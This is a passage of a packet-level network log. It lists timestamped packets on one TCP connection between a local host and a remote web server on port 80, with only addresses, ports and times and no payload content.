Dec 20, 2024 16:08:18.736978054 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.738501072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.738658905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.740969896 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.740984917 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.741050005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.742995977 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.743007898 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.743067026 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.747006893 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.747020960 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.747071981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.748997927 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.749017954 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.749067068 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.752042055 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.753062963 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.753113985 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.755517006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.755530119 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.755580902 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.759354115 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.759443045 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.760585070 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.760637045 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.764298916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.764314890 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.764358997 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.766115904 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.766272068 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.767007113 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.767062902 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.769246101 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.769294024 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.770176888 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.770225048 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.771121025 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.771172047 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.771980047 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.772025108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.774725914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.774780035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.775480032 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.775527954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.776360989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.776372910 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.776415110 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.874663115 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.874798059 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.874831915 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.874866962 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.875286102 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.875329971 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.875731945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.875797033 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.876332998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.876554012 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.876611948 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.876737118 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.877501965 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.877569914 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.877751112 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.877801895 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.878691912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.878750086 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.878926039 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.878973007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.879950047 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.880002022 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.880139112 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.880177975 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.881123066 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.881170988 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.881375074 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.881846905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.882265091 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.882313013 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.882647038 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.882692099 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.883538961 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.883596897 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.883820057 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.883907080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.884736061 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.884783983 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.885498047 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.885545015 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.885989904 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.886065006 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.886192083 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.886375904 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.887120962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.887165070 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.887404919 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.887460947 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.888320923 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.888361931 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.888557911 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.888597012 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.889509916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.889554024 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.889710903 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.889743090 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.890783072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.890840054 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.891063929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.891114950 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.891971111 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.892011881 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.892172098 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.892427921 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.893203974 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.893263102 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.893410921 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.893460035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.894610882 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.894663095 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.894881010 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.895085096 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.895714998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.895755053 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.896178007 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.896240950 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.897308111 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.897371054 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.897667885 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.897912979 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.898221016 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.898281097 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.898386002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.898427963 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.899185896 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.899239063 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.899390936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.899477959 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.900343895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.900401115 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.900595903 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.900672913 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.901623011 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.901685953 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.901839972 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.901890039 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.902770996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.902898073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.903014898 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.903059006 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.904079914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.904134035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.904187918 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.904253006 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.905205965 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.905261040 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.905404091 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.905446053 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.906761885 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.906809092 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.907016039 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.907058001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.907574892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.907633066 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.907887936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.907983065 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.908813953 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.908862114 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.909147024 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.909210920 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.909953117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.910404921 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.910471916 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.911211967 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.911534071 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.911592007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.913486004 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.913497925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.913559914 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.914452076 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.914484024 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.914540052 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.915343046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.915400982 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.915925026 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.915986061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.916316032 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.916327000 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.916366100 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.919539928 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.919554949 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.919615984 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.923573971 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.923588037 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.923654079 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.925571918 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.925584078 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.925621033 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.926604033 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.926615000 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.926649094 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.927604914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.927615881 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.927651882 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.930671930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.930840969 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.931632996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.931682110 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.934645891 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.934675932 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.934714079 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.936701059 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.936744928 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.937720060 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.937762022 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.940845966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.940859079 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.940918922 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.943773031 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.943830967 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.945096016 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.945169926 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.948466063 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.948498011 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.948548079 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.953211069 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.953278065 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.953854084 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.953902960 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.954488993 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.954538107 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.955256939 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.955307007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.957882881 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.957968950 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.958571911 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.958626032 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.959340096 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.959383011 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.960186958 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.960233927 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.962183952 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.962246895 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.963001966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.963051081 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.965432882 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.965445042 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.965497971 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.967494965 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.967545986 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.075973034 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.076360941 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.076421022 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.076803923 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.076847076 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.077162981 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.077202082 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.077702999 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.077749014 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.078078032 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.078111887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.078922033 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.078984976 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.079335928 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.079389095 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.080270052 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.080316067 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.080390930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.080533981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.081592083 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.081662893 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.081702948 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.081762075 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.082523108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.082575083 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.082909107 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.082952976 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.083765030 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.083810091 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.084139109 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.084186077 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.085140944 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.085736036 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.085796118 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.087002039 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.087018013 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.087050915 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.087079048 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.087621927 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.088009119 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.088054895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.088088036 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.088517904 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.088587999 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.088968992 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.089024067 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.089768887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.089823961 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.089962006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.090373993 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.091042042 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.091101885 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.091242075 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.091456890 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.092189074 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.092256069 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.092665911 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.092710018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.093513966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.093575954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.093614101 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.093797922 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.094775915 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.094825029 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.094837904 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.094873905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.095803976 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.095845938 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.095988035 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.096026897 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.096978903 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.097240925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.097285986 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.098216057 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.098262072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.099174023 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.099227905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.099884987 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.099899054 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.099932909 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.100595951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.100828886 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.100874901 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.101809025 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.101855040 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.102019072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.102058887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.103235006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.103296041 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.103585005 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.103642941 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.104325056 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.104459047 CET	49965	80	192.168.2.5	31.41.244.11
